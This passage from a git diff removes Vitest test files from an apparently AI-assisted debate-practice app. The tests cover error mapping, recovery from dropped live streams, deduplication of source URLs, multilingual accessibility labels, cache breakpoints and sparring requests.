expect(callSupabaseAI('generate', {}, config, { debateId: null })).rejects.toBeInstanceOf(AISubscriptionError); - expect(captureExceptionMock).not.toHaveBeenCalled(); - expect(failedEvents().at(-1)?.[1]).toMatchObject({ errorName: 'AISubscriptionError', statusCode: 402 }); - - invokeMock.mockResolvedValueOnce({ - data: null, - error: { - message: 'Edge Function returned a non-2xx status code', - context: { status: 403, json: async () => ({ error: 'This model requires Pro', code: 'upgrade_required' }) }, - }, - }); - await expect(callSupabaseAI('generate', {}, config, { debateId: null })).rejects.toBeInstanceOf(AIModelRestrictionError); - expect(captureExceptionMock).not.toHaveBeenCalled(); - - invokeMock.mockResolvedValueOnce({ - data: null, - error: { - message: 'Edge Function returned a non-2xx status code', - context: { status: 403, json: async () => ({ error: 'Access denied' }) }, - }, - }); - await expect(callSupabaseAI('generate', {}, config, { debateId: null })).rejects.toBeInstanceOf(AIAuthError); - expect(captureExceptionMock).not.toHaveBeenCalled(); - - invokeMock.mockRejectedValueOnce(new DOMException('The operation was aborted.', 'AbortError')); - await expect(callSupabaseAI('generate', {}, config, { debateId: null })).rejects.toBeInstanceOf(TimeoutError); - expect(captureExceptionMock).toHaveBeenCalledTimes(1); - expect(captureExceptionMock.mock.calls[0][0].name).toBe('TimeoutError'); - }); -}); diff --git a/src/lib/ai/run-recovery.test.ts b/src/lib/ai/run-recovery.test.ts deleted file mode 100644 index d13a4782b..000000000 --- a/src/lib/ai/run-recovery.test.ts +++ /dev/null @@ -1,134 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { FunctionsFetchError } from '@supabase/supabase-js'; -import { LiveStreamError } from '@/lib/ai/live'; -import { RUN_RESULT_MISSING_MS, RUN_RESULT_POLL_MS, RUN_RESULT_RUNNING_MS } from '@/lib/ai/run-recovery'; - -// A live request whose stream drops: the answer the server stored is read -// back by the id the request sent, instead of failing with "check your -// connection". - -const { invokeWith, rows, queries } = vi.hoisted(() => ({ - invokeWith: vi.fn(), - /** What each successive read of ai_run_results returns. */ - rows: [] as Array | null>, - queries: [] as Array<{ table: string; filters: Record }>, -})); - -vi.mock('@/lib/observability', () => ({ captureException: vi.fn(), captureProductEvent: vi.fn() })); -vi.mock('@/lib/query-client', () => ({ refreshAIUsage: vi.fn() })); -vi.mock('@/lib/supabase/client', () => ({ - getActiveAccessToken: () => 'token', - SUPABASE_URL: 'http://test-supabase.local', - invokeAuthenticatedFunction: vi.fn(), - invokeAuthenticatedFunctionWith: invokeWith, - supabase: { - auth: { getSession: vi.fn() }, - from: (table: string) => { - const query = { table, filters: {} as Record }; - queries.push(query); - const chain = { - select: () => chain, - eq: (column: string, value: unknown) => { - query.filters[column] = value; - return chain; - }, - maybeSingle: async (): Promise<{ data: Record | null; error: null }> => ({ data: (rows.length > 1 ? rows.shift() : rows[0]) ?? null, error: null }), - }; - return chain; - }, - }, -})); - -const { callSupabaseAI } = await import('@/lib/ai/request'); -const { AINetworkError, AIProviderError, AIResponseError } = await import('@/lib/ai/errors'); - -const config = { provider: 'openrouter' as const, model: 'auto-fast' }; -const live = { onDraft: () => {} }; - -function dropStream(reason: 'dropped' | 'unreadable' = 'dropped') { - invokeWith.mockImplementation(async () => ({ data: null, error: new FunctionsFetchError(new LiveStreamError(reason)) })); -} - -const sentResultKey = () => (invokeWith.mock.calls[0][1] as { body: { resultKey?: string } }).body.resultKey; - -beforeEach(() => { - invokeWith.mockReset(); - rows.length = 0; - queries.length = 0; -}); - -afterEach(() => { - vi.useRealTimers(); -}); - -describe('a live request whose stream dropped', () => { - it('returns the answer the server stored for it', async () => { - invokeWith.mockImplementationOnce(async (_name: string, options: { body: { resultKey: string } }) => { - // The server finished and stored this run's result; the stream never delivered it. - rows.push({ result_key: options.body.resultKey, status: 200, body: { output: { thesis: 'Kept' } } }); - return { data: null, error: new FunctionsFetchError(new LiveStreamError('dropped')) }; - }); - const result = await callSupabaseAI('generate', { motion: 'Homework' }, config, { live, debateId: null }); - expect(result).toEqual({ output: { thesis: 'Kept' } }); - expect(sentResultKey()).toMatch(/^req_\d+_[a-z0-9]+$/); - expect(queries[0]).toMatchObject({ table: 'ai_run_results', filters: { feature: 'generate' } }); - }); - - it('waits for a run that is still writing, then returns its answer', async () => { - vi.useFakeTimers(); - let key = ''; - invokeWith.mockImplementation(async (_name: string, options: { body: { resultKey: string } }) => { - key = options.body.resultKey; - rows.push({ result_key: key, status: null, body: null }, { result_key: key, status: 200, body: { output: { done: true } } }); - return { data: null, error: new FunctionsFetchError(new LiveStreamError('stalled')) }; - }); - const pending = callSupabaseAI('generate', { motion: 'Homework' }, config, { live, debateId: null }); - await vi.advanceTimersByTimeAsync(RUN_RESULT_POLL_MS); - await expect(pending).resolves.toEqual({ output: { done: true } }); - }); - - it('gives up on a dropped run whose row never finishes, well before the wall clock', async () => { - vi.useFakeTimers(); - invokeWith.mockImplementation(async (_name: string, options: { body: { resultKey: string } }) => { - rows.push({ result_key: options.body.resultKey, status: null, body: null }); - return { data: null, error: new FunctionsFetchError(new LiveStreamError('dropped')) }; - }); - let settled: unknown = 'pending'; - const pending = callSupabaseAI('generate', { motion: 'Homework' }, config, { live, debateId: null }).catch((caught: unknown) => caught); - void pending.then((value) => { settled = value; }); - await vi.advanceTimersByTimeAsync(RUN_RESULT_RUNNING_MS - RUN_RESULT_POLL_MS); - expect(settled).toBe('pending'); - await vi.advanceTimersByTimeAsync(2 * RUN_RESULT_POLL_MS); - expect(await pending).toBeInstanceOf(AINetworkError); - }); - - it('reports the stored failure, including that it was not charged', async () => { - invokeWith.mockImplementation(async (_name: string, options: { body: { resultKey: string } }) => { - rows.push({ result_key: options.body.resultKey, status: 500, body: { error: 'AI request failed. Please try again.', code: 'provider_error', charged: false } }); - return { data: null, error: new FunctionsFetchError(new LiveStreamError('dropped')) }; - }); - const error = await callSupabaseAI('generate', { motion: 'Homework' }, config, { live, debateId: null }).catch((caught: unknown) => caught); - expect(error).toBeInstanceOf(AIProviderError); - expect((error as InstanceType).notCharged).toBe(true); - }); - - it('is a connection failure when nothing was stored, and a damaged answer when the result was unreadable', async () => { - vi.useFakeTimers(); - dropStream('dropped'); - const pending = callSupabaseAI('generate', { motion: 'Homework' }, config, { live, debateId: null }).catch((caught: unknown) => caught); - await vi.advanceTimersByTimeAsync(RUN_RESULT_MISSING_MS + RUN_RESULT_POLL_MS); - expect(await pending).toBeInstanceOf(AINetworkError); - - dropStream('unreadable'); - const damaged = callSupabaseAI('generate', { motion: 'Homework' }, config, { live, debateId: null }).catch((caught: unknown) => caught); - await vi.advanceTimersByTimeAsync(RUN_RESULT_MISSING_MS + RUN_RESULT_POLL_MS); - expect(await damaged).toBeInstanceOf(AIResponseError); - }); - - it('does not take another run\'s stored answer', async () => { - rows.push({ result_key: 'req_1_someoneelse', status: 200, body: { output: { thesis: 'Other tab' } } }); - dropStream(); - const error = await callSupabaseAI('generate', { motion: 'Homework' }, config, { live, debateId: null }).catch((caught: unknown) => caught); - expect(error).toBeInstanceOf(AINetworkError); - }); -}); diff --git a/src/lib/ai/sources.test.ts b/src/lib/ai/sources.test.ts deleted file mode 100644 index 3b9671421..000000000 --- a/src/lib/ai/sources.test.ts +++ /dev/null @@ -1,110 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { toast } from '@/hooks/use-toast'; -import { autosaveDiscoveredSources, normalizeSourceUrl } from './sources'; - -vi.mock('@/hooks/use-toast', () => ({ toast: vi.fn() })); -import { useSessionStore, type Source } from '@/lib/stores/session-store'; - -const DEBATE = 'debate-1'; -const PAGE = 'https://www.sciencemediacentre.es/en/homework-primary-school/'; - -describe('normalizeSourceUrl', () => { - it('gives one key to the variants research returns for the same page', () => { - const key = normalizeSourceUrl(PAGE); - expect(key).toBe('sciencemediacentre.es/en/homework-primary-school'); - for (const variant of [ - 'https://sciencemediacentre.es/en/homework-primary-school', - 'http://WWW.ScienceMediaCentre.es/en/homework-primary-school/#key-points', - 'https://www.sciencemediacentre.es/en/homework-primary-school?utm_source=x&utm_medium=y&fbclid=abc', - ]) expect(normalizeSourceUrl(variant)).toBe(key); - }); - - it('keeps parameters and paths that name a different page', () => { - expect(normalizeSourceUrl('https://example.org/article?id=1')).not.toBe(normalizeSourceUrl('https://example.org/article?id=2')); - expect(normalizeSourceUrl('https://example.org/en/a')).not.toBe(normalizeSourceUrl('https://example.org/es/a')); - expect(normalizeSourceUrl('https://news.example.org/a')).not.toBe(normalizeSourceUrl('https://example.org/a')); - expect(normalizeSourceUrl('not a url')).toBeNull(); - }); -}); - -describe('autosaveDiscoveredSources', () => { - type Store = ReturnType; - const addSource = vi.fn(); - const updateSource = vi.fn(); - const original = useSessionStore.getState(); - - beforeEach(() => { - vi.mocked(toast).mockReset(); - addSource.mockReset(); - updateSource.mockReset(); - // The stubbed write lands in the library like the real one, a moment later. - addSource.mockImplementation(async (source) => { - await new Promise((resolve) => setTimeout(resolve, 5)); - const saved: Source = { - ...source, - id: `row-${useSessionStore.getState().sourceLibrary.length + 1}`, - folder: source.folder ?? 'General', - debateId: source.debateId ?? null, - isActive: source.isActive ?? true, - createdAt: Date.now(), - }; - useSessionStore.setState((state) => ({ sourceLibrary: [saved, ...state.sourceLibrary] })); - }); - useSessionStore.setState({ sourceLibrary: [], addSource, updateSource }); - }); - - afterEach(() => { - useSessionStore.setState({ sourceLibrary: [], addSource: original.addSource, updateSource: original.updateSource }); - }); - - it('saves a page once per debate when two tools find it at the same time, and updates it after', async () => { - const generate = autosaveDiscoveredSources([ - { title: 'Homework study', url: PAGE, content: 'Findings', qualityLabel: 'strong' }, - { title: 'Homework study (again)', url: `${PAGE}#methods`, qualityLabel: 'strong' }, - ], 'generate', DEBATE); - const brainstorm = autosaveDiscoveredSources([ - { title: 'Homework study', url: 'https://sciencemediacentre.es/en/homework-primary-school?utm_source=exa', qualityLabel: 'moderate', query: 'homework' }, - ], 'brainstorm', DEBATE); - await Promise.all([generate, brainstorm]); - - expect(addSource).toHaveBeenCalledOnce(); - expect(updateSource).toHaveBeenCalledOnce(); - const [id, patch] = updateSource.mock.calls[0]; - expect(id).toBe('row-1'); - expect(patch.metadata).toMatchObject({ capturedVia: 'brainstorm', query: 'homework', qualityLabel: 'moderate' }); - // The student's title, folder and on/off choice are theirs. - expect(patch).not.toHaveProperty('title'); - expect(patch).not.toHaveProperty('isActive'); - expect(patch).not.toHaveProperty('folder'); - }); - - it('saves the same page again in a different debate', async () => { - await autosaveDiscoveredSources([{ title: 'Homework study', url: PAGE }], 'generate', DEBATE); - await autosaveDiscoveredSources([{ title: 'Homework study', url: PAGE }], 'attack', 'debate-2'); - - expect(addSource).toHaveBeenCalledTimes(2); - expect(updateSource).not.toHaveBeenCalled(); - }); - - it('keeps going after a failed batch', async () => { - addSource.mockRejectedValueOnce(new Error('offline')); - await autosaveDiscoveredSources([{ title: 'A', url: 'https://example.org/a' }], 'generate', DEBATE); - await autosaveDiscoveredSources([{ title: 'B', url: 'https://example.org/b' }], 'generate', DEBATE); - - expect(addSource).toHaveBeenCalledTimes(2); - }); - - it('says how many sources research added, counting only new rows', async () => { - await autosaveDiscoveredSources([{ title: 'Homework study', url: PAGE }], 'generate', DEBATE); - vi.mocked(toast).mockReset(); - - await autosaveDiscoveredSources([ - { title: 'Homework study', url: `${PAGE}?utm_source=exa` }, - { title: 'A', url: 'https://example.org/a' }, - { title: 'B', url: 'https://example.org/b' }, - ], 'attack', DEBATE); - - expect(toast).toHaveBeenCalledOnce(); - expect(vi.mocked(toast).mock.calls[0][0]).toMatchObject({ title: 'Added 2 sources to your Library' }); - }); -}); diff --git a/src/test/a11y/names-and-headings.test.tsx b/src/test/a11y/names-and-headings.test.tsx deleted file mode 100644 index 12b6ee96a..000000000 --- a/src/test/a11y/names-and-headings.test.tsx +++ /dev/null @@ -1,127 +0,0 @@ -import { act, cleanup, fireEvent, render, screen } from '@testing-library/react'; -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; -import { MemoryRouter } from 'react-router-dom'; -import { applyAppLanguage } from '@/i18n'; -import { CardTitle } from '@/components/ui/card'; -import { Toaster } from '@/components/ui/sonner'; -import { LanguageSwitcher } from '@/components/LanguageSwitcher'; -import { GenerateForm } from '@/components/features/generate/GenerateForm'; -import { AttackForm } from '@/components/features/attack/AttackForm'; -import Hero from '@/components/landing/Hero'; -import TimerPage from '@/pages/TimerPage'; - -vi.mock('@/hooks/use-subscription', () => ({ - useSubscription: () => ({ isPro: false, tier: 'trial', loading: false }), -})); - -vi.mock('@/components/layout/HeaderTooltip', () => ({ - HeaderTooltip: ({ children }: { children: React.ReactNode }) => children, -})); - -vi.mock('@/components/ui/popover', () => ({ - Popover: ({ children }: { children: React.ReactNode }) =>
{children}
, - PopoverTrigger: ({ children }: { children: React.ReactNode }) => children, - PopoverContent: ({ children }: { children: React.ReactNode }) =>
{children}
, -})); - -beforeEach(() => { - HTMLElement.prototype.scrollIntoView = () => {}; - HTMLElement.prototype.hasPointerCapture = () => false; - HTMLElement.prototype.setPointerCapture = () => {}; - HTMLElement.prototype.releasePointerCapture = () => {}; -}); - -afterEach(async () => { - cleanup(); - await applyAppLanguage('en'); -}); - -describe('accessible names and headings', () => { - it('renders CardTitle as an h2 by default and keeps the same classes at another level', () => { - const { rerender } = render(Prepare); - const title = screen.getByRole('heading', { level: 2, name: 'Prepare' }); - const classes = title.className; - expect(classes).toContain('text-lg'); - expect(classes).toContain('text-heading'); - - rerender(Access Denied); - expect(screen.getByRole('heading', { level: 1, name: 'Access Denied' }).className).toBe(classes); - }); - - it('names the notification region in the active language', async () => { - const { rerender } = render(); - // Sonner appends the focus shortcut to containerAriaLabel. - expect(screen.getByRole('region', { name: 'Notifications alt+T' })).toBeInTheDocument(); - - await act(async () => { await applyAppLanguage('es'); }); - rerender(); - expect(screen.getByRole('region', { name: 'Notificaciones alt+T' })).toBeInTheDocument(); - - await act(async () => { await applyAppLanguage('hu'); }); - rerender(); - expect(screen.getByRole('region', { name: 'Értesítések alt+T' })).toBeInTheDocument(); - }); - - it('names the language button and both language groups in English, Spanish and Hungarian', async () => { - const { rerender } = render(); - expect(screen.getByRole('button', { name: 'Language' })).toBeInTheDocument(); - expect(screen.getByRole('radiogroup', { name: 'Interface language' })).toBeInTheDocument(); - expect(screen.getByRole('radiogroup', { name: 'AI output language' })).toBeInTheDocument(); - - await act(async () => { await applyAppLanguage('es'); }); - rerender(); - expect(screen.getByRole('button', { name: 'Idioma' })).toBeInTheDocument(); - expect(screen.getByRole('radiogroup', { name: 'Idioma de la interfaz' })).toBeInTheDocument(); - expect(screen.getByRole('radiogroup', { name: 'Idioma de salida de IA' })).toBeInTheDocument(); - - await act(async () => { await applyAppLanguage('hu'); }); - rerender(); - expect(screen.getByRole('button', { name: 'Nyelv' })).toBeInTheDocument(); - expect(screen.getByRole('radiogroup', { name: 'Felület nyelve' })).toBeInTheDocument(); - expect(screen.getByRole('radiogroup', { name: 'MI-kimenet nyelve' })).toBeInTheDocument(); - }); - - it('names Generate selects from their visible labels', () => { - render( {}} isLoading={false} debatePrefill={false} />); - expect(screen.getByRole('combobox', { name: 'Side' })).toBeInTheDocument(); - expect(screen.getByRole('combobox', { name: 'Speaker role' })).toBeInTheDocument(); - - fireEvent.click(screen.getByRole('button', { name: 'More options' })); - expect(screen.getByRole('combobox', { name: 'Case length' })).toBeInTheDocument(); - expect(screen.getByRole('combobox', { name: 'Audience level' })).toBeInTheDocument(); - expect(screen.getByRole('combobox', { name: 'Tone' })).toBeInTheDocument(); - }); - - it('names Attack switches from their labels and selects from theirs', () => { - render( {}} isLoading={false} debateContext={false} />); - fireEvent.click(screen.getByRole('button', { name: /More options/ })); - expect(screen.getByRole('switch', { name: 'Detect fallacies' })).toHaveAccessibleDescription('Identify logical fallacies in the argument'); - expect(screen.getByRole('switch', { name: 'Analyze weighing' })).toHaveAccessibleDescription('Evaluate impact comparison and prioritization'); - expect(screen.getByRole('combobox', { name: 'Attack intensity' })).toBeInTheDocument(); - expect(screen.getByRole('combobox', { name: 'Judge paradigm' })).toBeInTheDocument(); - }); - - it('names the timer progress bar with the current speech and a numeric value', async () => { - const { rerender } = render(); - const bar = screen.getByRole('progressbar', { name: 'Introductor progress' }); - expect(bar).toHaveAttribute('aria-valuenow', '0'); - expect(bar).not.toHaveAttribute('data-state', 'indeterminate'); - - await act(async () => { await applyAppLanguage('es'); }); - rerender(); - expect(screen.getByRole('progressbar', { name: 'Progreso de Introductor' })).toBeInTheDocument(); - - await act(async () => { await applyAppLanguage('hu'); }); - rerender(); - expect(screen.getByRole('progressbar', { name: 'Bevezető előrehaladása' })).toBeInTheDocument(); - }); - - it('keeps the hero mode toggles available and the fake preview out of the tab order', () => { - render(); - expect(screen.getByRole('button', { name: 'Generate', pressed: true })).toBeInTheDocument(); - const motion = document.getElementById('hero-motion'); - expect(motion).toHaveAttribute('tabindex', '-1'); - expect(motion?.closest('[aria-hidden="true"]')).toBeTruthy(); - expect(motion?.closest('[inert]')).toBeTruthy(); - }); -}); diff --git a/src/test/ai/anthropic-cache-breakpoints.test.ts b/src/test/ai/anthropic-cache-breakpoints.test.ts deleted file mode 100644 index 9172e95bb..000000000 --- a/src/test/ai/anthropic-cache-breakpoints.test.ts +++ /dev/null @@ -1,37 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { oneBreakpointPerToolMessage, withAnthropicCacheLimit } from "../../../agentic/support/anthropic-cache"; - -const breakpoint = { type: "ephemeral" }; -const result = (id: string) => ({ type: "tool-result", toolCallId: id, toolName: "click", output: { type: "text", value: "ok" } }); - -describe("Anthropic cache breakpoints on the testing agent's tool messages", () => { - it("keeps one breakpoint, on the last result, when a turn made parallel tool calls", () => { - const message = { role: "tool", content: [result("a"), result("b"), result("c")], providerOptions: { anthropic: { cacheControl: breakpoint } } }; - const fixed = oneBreakpointPerToolMessage(message); - expect(fixed.providerOptions?.anthropic).toEqual({}); - const parts = fixed.content as Array<{ providerOptions?: { anthropic?: { cacheControl?: unknown } } }>; - expect(parts.map((part) => part.providerOptions?.anthropic?.cacheControl)).toEqual([undefined, undefined, breakpoint]); - }); - - it("leaves single results, other roles and unmarked messages alone", () => { - const single = { role: "tool", content: [result("a")], providerOptions: { anthropic: { cacheControl: breakpoint } } }; - const user = { role: "user", content: [{ type: "text", text: "hi" }], providerOptions: { anthropic: { cacheControl: breakpoint } } }; - const unmarked = { role: "tool", content: [result("a"), result("b")] }; - for (const message of [single, user, unmarked]) expect(oneBreakpointPerToolMessage(message)).toBe(message); - }); - - it("wraps a model without changing its id or provider", async () => { - const seen: unknown[] = []; - const model = { - modelId: "anthropic/claude-haiku-5.5", - provider: "openrouter.chat", - async doGenerate(options: { prompt: unknown[] }) { seen.push(options.prompt); return "ok"; }, - }; - const wrapped = withAnthropicCacheLimit(model); - expect(wrapped.modelId).toBe("anthropic/claude-haiku-5.5"); - expect(wrapped.provider).toBe("openrouter.chat"); - await wrapped.doGenerate({ prompt: [{ role: "tool", content: [result("a"), result("b")], providerOptions: { anthropic: { cacheControl: breakpoint } } }] }); - const [prompt] = seen as Array }>>; - expect(prompt[0].content[0].providerOptions).toBeUndefined(); - }); -}); diff --git a/src/test/ai/live.test.ts b/src/test/ai/live.test.ts deleted file mode 100644 index e9ef21640..000000000 --- a/src/test/ai/live.test.ts +++ /dev/null @@ -1,227 +0,0 @@ -import { afterEach, describe, expect, it, vi } from 'vitest'; -import { FunctionsFetchError, FunctionsHttpError } from '@supabase/supabase-js'; -import { LIVE_STREAM_DRAIN_MS, LIVE_STREAM_STALL_MS, LIVE_STREAM_STALLED_OPEN_MS, LiveStreamError, readLiveResponse } from '@/lib/ai/live'; - -function eventStream(chunks: string[]): Response { - const encoder = new TextEncoder(); - return new Response(new ReadableStream({ - start(controller) { - for (const chunk of chunks) controller.enqueue(encoder.encode(chunk)); - controller.close(); - }, - }), { headers: { 'Content-Type': 'text/event-stream; charset=utf-8' } }); -} - -const event = (name: string, data: unknown) => `event: ${name}\ndata: ${JSON.stringify(data)}\n\n`; - -describe('readLiveResponse', () => { - it('returns a JSON body as is, for servers that do not stream', async () => { - const onDraft = vi.fn(); - const body = await readLiveResponse(Response.json({ output: { ok: true } }), { onDraft }); - expect(body).toEqual({ output: { ok: true } }); - expect(onDraft).not.toHaveBeenCalled(); - }); - - it('reports phases and the parsed draft, then resolves with the result body', async () => { - const drafts: unknown[] = []; - const phases: string[] = []; - // Each chunk arrives after the draft interval, as model tokens do. - const chunks = [ - event('phase', { phase: 'research' }) + event('phase', { phase: 'writing' }) + event('delta', { text: '{"thesis": "Free tr' }), - // An event split across two reads. - 'event: delta\ndata: {"text":"ansit"}', - '\n\n', - event('result', { status: 200, body: { output: { thesis: 'Free transit' } } }), - ]; - const encoder = new TextEncoder(); - const response = new Response(new ReadableStream({ - async pull(controller) { - await new Promise((resolve) => setTimeout(resolve, 70)); - const chunk = chunks.shift(); - if (chunk === undefined) controller.close(); - else controller.enqueue(encoder.encode(chunk)); - }, - }), { headers: { 'Content-Type': 'text/event-stream' } }); - - const body = await readLiveResponse(response, { onDraft: (draft) => drafts.push(draft), onPhase: (phase) => phases.push(phase) }); - expect(body).toEqual({ output: { thesis: 'Free transit' } }); - expect(phases).toEqual(['research', 'writing']); - expect(drafts).toContainEqual({ thesis: 'Free tr' }); - }); - - it('delivers the last draft before a later phase', async () => { - const order: string[] = []; - const response = eventStream([ - event('phase', { phase: 'writing' }) + event('delta', { text: '{"a": "done"}' }) + event('phase', { phase: 'checking' }), - event('result', { status: 200, body: { output: {} } }), - ]); - await readLiveResponse(response, { - onDraft: (draft) => order.push(`draft ${JSON.stringify(draft)}`), - onPhase: (phase) => order.push(phase), - }); - expect(order).toEqual(['writing', 'draft {"a":"done"}', 'checking']); - }); - - it('clears the draft when a repair retry starts again', async () => { - const drafts: unknown[] = []; - const response = eventStream([ - event('delta', { text: 'not json' }), - event('reset', {}), - event('result', { status: 200, body: { output: {} } }), - ]); - await readLiveResponse(response, { onDraft: (draft) => drafts.push(draft) }); - expect(drafts).toEqual([{}]); - }); - - it('turns a failed result into the error a plain request gets', async () => { - const error = await readLiveResponse(eventStream([ - event('result', { status: 402, body: { error: 'Daily limit reached', code: 'limit_reached', limit: 10, current: 10 } }), - ]), { onDraft: () => {} }); - expect(error).toBeInstanceOf(FunctionsHttpError); - const context = (error as FunctionsHttpError).context as Response; - expect(context.status).toBe(402); - await expect(context.json()).resolves.toMatchObject({ code: 'limit_reached', limit: 10 }); - }); - - it('stops reading when the request is aborted, even if the stream keeps going', async () => { - // A fetch wrapper such as the Jam recorder can leave the body streaming after abort. - const encoder = new TextEncoder(); - const endless = new Response(new ReadableStream({ - async pull(controller) { - await new Promise((resolve) => setTimeout(resolve, 10)); - controller.enqueue(encoder.encode(event('delta', { text: 'more ' }))); - }, - }), { headers: { 'Content-Type': 'text/event-stream' } }); - const controller = new AbortController(); - const reading = readLiveResponse(endless, { onDraft: () => {} }, controller.signal); - setTimeout(() => controller.abort(), 50); - await expect(reading).rejects.toMatchObject({ name: 'AbortError' }); - }); - - it('fails when the stream ends before its result', async () => { - const error = await readLiveResponse(eventStream([event('delta', { text: '{"a": "b' })]), { onDraft: () => {} }); - expect(error).toBeInstanceOf(FunctionsFetchError); - }); - - it('cancels immediately when the caller aborts', async () => { - let cancelCount = 0; - const encoder = new TextEncoder(); - const response = new Response(new ReadableStream({ - start(controller) { - controller.enqueue(encoder.encode(event('delta', { text: 'partial' }))); - }, - // The body stays open, as a fetch can after the request signal aborts. - pull: () => new Promise(() => {}), - cancel() { cancelCount += 1; }, - }), { headers: { 'Content-Type': 'text/event-stream' } }); - - const controller = new AbortController(); - const reading = readLiveResponse(response, { onDraft: () => {} }, controller.signal); - await new Promise((resolve) => setTimeout(resolve, 20)); - expect(cancelCount).toBe(0); - controller.abort(); - // The abort listener cancels before the read loop resumes, not after the drain cap. - expect(cancelCount).toBe(1); - await expect(reading).rejects.toMatchObject({ name: 'AbortError' }); - expect(cancelCount).toBe(1); - }); -}); - -describe('draining the body after result', () => { - afterEach(() => { - vi.useRealTimers(); - }); - - function openResultStream(closeAfterMs: number | null, onCancel: () => void): Response { - const encoder = new TextEncoder(); - return new Response(new ReadableStream({ - start(controller) { - controller.enqueue(encoder.encode(event('result', { status: 200, body: { output: { ok: true } } }))); - if (closeAfterMs !== null) setTimeout(() => controller.close(), closeAfterMs); - }, - cancel: onCancel, - }), { headers: { 'Content-Type': 'text/event-stream' } }); - } - - it('returns the result before the body closes and does not cancel once it ends', async () => { - vi.useFakeTimers(); - let cancelled = false; - const pending = readLiveResponse(openResultStream(400, () => { cancelled = true; }), { onDraft: () => {} }); - - await expect(pending).resolves.toEqual({ output: { ok: true } }); - expect(cancelled).toBe(false); - - await vi.advanceTimersByTimeAsync(400); - expect(cancelled).toBe(false); - // The drain cap must not cancel a body that already ended. - await vi.advanceTimersByTimeAsync(LIVE_STREAM_DRAIN_MS); - expect(cancelled).toBe(false); - }); - - it('cancels when the body stays open through the drain cap', async () => { - vi.useFakeTimers(); - let cancelled = false; - const pending = readLiveResponse(openResultStream(null, () => { cancelled = true; }), { onDraft: () => {} }); - - await expect(pending).resolves.toEqual({ output: { ok: true } }); - expect(cancelled).toBe(false); - - await vi.advanceTimersByTimeAsync(LIVE_STREAM_DRAIN_MS - 1); - expect(cancelled).toBe(false); - await vi.advanceTimersByTimeAsync(1); - expect(cancelled).toBe(true); - }); - - it('reads a large result split across many reads, and one sent without its closing blank line', async () => { - const body = { output: { thesis: 'x'.repeat(5_000) }, discoveredSources: [{ title: 'é ünicode ✓', content: 'y'.repeat(20_000) }] }; - const whole = event('delta', { text: '{"thesis"' }) + event('result', { status: 200, body }); - // Byte-level splits land inside multi-byte characters too. - const bytes = new TextEncoder().encode(whole); - const split = new Response(new ReadableStream({ - start(controller) { - for (let index = 0; index < bytes.length; index += 997) controller.enqueue(bytes.slice(index, index + 997)); - controller.close(); - }, - }), { headers: { 'Content-Type': 'text/event-stream' } }); - await expect(readLiveResponse(split, { onDraft: () => {} })).resolves.toEqual(body); - - const unterminated = eventStream([`event: result\ndata: ${JSON.stringify({ status: 200, body })}`]); - await expect(readLiveResponse(unterminated, { onDraft: () => {} })).resolves.toEqual(body); - }); - - it('tells a damaged result, a dropped connection, and a silent stream apart instead of throwing', async () => { - const damaged = await readLiveResponse(eventStream(['event: result\ndata: {"status":200,"body":{"out\n\n']), { onDraft: () => {} }); - expect(damaged).toBeInstanceOf(FunctionsFetchError); - expect((damaged as FunctionsFetchError).context).toMatchObject({ name: 'LiveStreamError', reason: 'unreadable' }); - - const encoder = new TextEncoder(); - const dropped = new Response(new ReadableStream({ - start(controller) { - controller.enqueue(encoder.encode(event('delta', { text: '{"a": "b' }))); - setTimeout(() => controller.error(new TypeError('network error')), 5); - }, - }), { headers: { 'Content-Type': 'text/event-stream' } }); - const droppedError = await readLiveResponse(dropped, { onDraft: () => {} }); - expect((droppedError as FunctionsFetchError).context).toBeInstanceOf(LiveStreamError); - expect((droppedError as FunctionsFetchError).context).toMatchObject({ reason: 'dropped' }); - - vi.useFakeTimers(); - let cancelled = false; - const silent = new Response(new ReadableStream({ - start(controller) { - controller.enqueue(encoder.encode(event('delta', { text: '{"a"' }))); - }, - cancel() { - cancelled = true; - }, - }), { headers: { 'Content-Type': 'text/event-stream' } }); - const pending = readLiveResponse(silent, { onDraft: () => {} }); - await vi.advanceTimersByTimeAsync(LIVE_STREAM_STALL_MS); - const stalled = await pending; - expect((stalled as FunctionsFetchError).context).toMatchObject({ reason: 'stalled' }); - // Left open, so the function does not cancel the run being recovered. - expect(cancelled).toBe(false); - await vi.advanceTimersByTimeAsync(LIVE_STREAM_STALLED_OPEN_MS); - expect(cancelled).toBe(true); - }); -}); diff --git a/src/test/ai/sparring-live.test.ts b/src/test/ai/sparring-live.test.ts deleted file mode 100644 index c3c31e859..000000000 --- a/src/test/ai/sparring-live.test.ts +++ /dev/null @@ -1,52 +0,0 @@ -import { describe, expect, it, vi } from 'vitest'; -import type { LiveGeneration } from '@/lib/ai/live'; - -// The provider call is held open so a second screen can join it mid-answer. -let release!: () => void; -let liveOfRequest: LiveGeneration | undefined; -vi.mock('@/lib/ai/request', async (importOriginal) => ({ - ...(await importOriginal()), - callSupabaseAI: vi.fn((_feature: string, _input: unknown, _config: unknown, options: { live?: LiveGeneration; transformResponse: (data: unknown) => unknown }) => { - liveOfRequest = options.live; - return new Promise((resolve) => { - release = () => resolve(options.transformResponse({ - output: { action: 'respond', speech: { content: 'Who pays for the buses?', strategy: 'Press the cost.', targetedPoints: [] } }, - })); - }); - }), -})); - -const { generateSparringTurn } = await import('@/lib/ai/client'); - -const input = { - action: 'respond' as const, - sessionId: '5e551000-0000-4000-8000-000000000003', - motion: 'This House would make public transport free', - userSide: 'pro' as const, - format: 'ld' as const, - difficulty: 'medium' as const, - language: 'en', - speeches: [{ id: 'user-1', turnId: 'ld-1', speaker: 'user' as const, side: 'pro' as const, role: 'Affirmative constructive', content: 'Fares block access.', createdAt: 1, timeLimitSeconds: 360, timeUsedSeconds: 60 }], - currentTurn: { id: 'ld-2', label: 'Negative constructive', side: 'con' as const, kind: 'constructive' as const, timeLimitSeconds: 420 }, -}; -const config = { provider: 'openrouter' as const, model: 'openai/gpt-6-luna' }; - -describe('a shared sparring request', () => { - it('gives a screen that rejoins it the draft so far and every later one', async () => { - const first: unknown[] = []; - const second: unknown[] = []; - const firstCall = generateSparringTurn(input, config, undefined, null, false, { onDraft: (draft) => first.push(draft) }); - await vi.waitFor(() => expect(liveOfRequest).toBeDefined()); - liveOfRequest!.onDraft({ speech: { content: 'Who' } }); - - // The screen remounts and asks for the same turn. - const secondCall = generateSparringTurn(input, config, 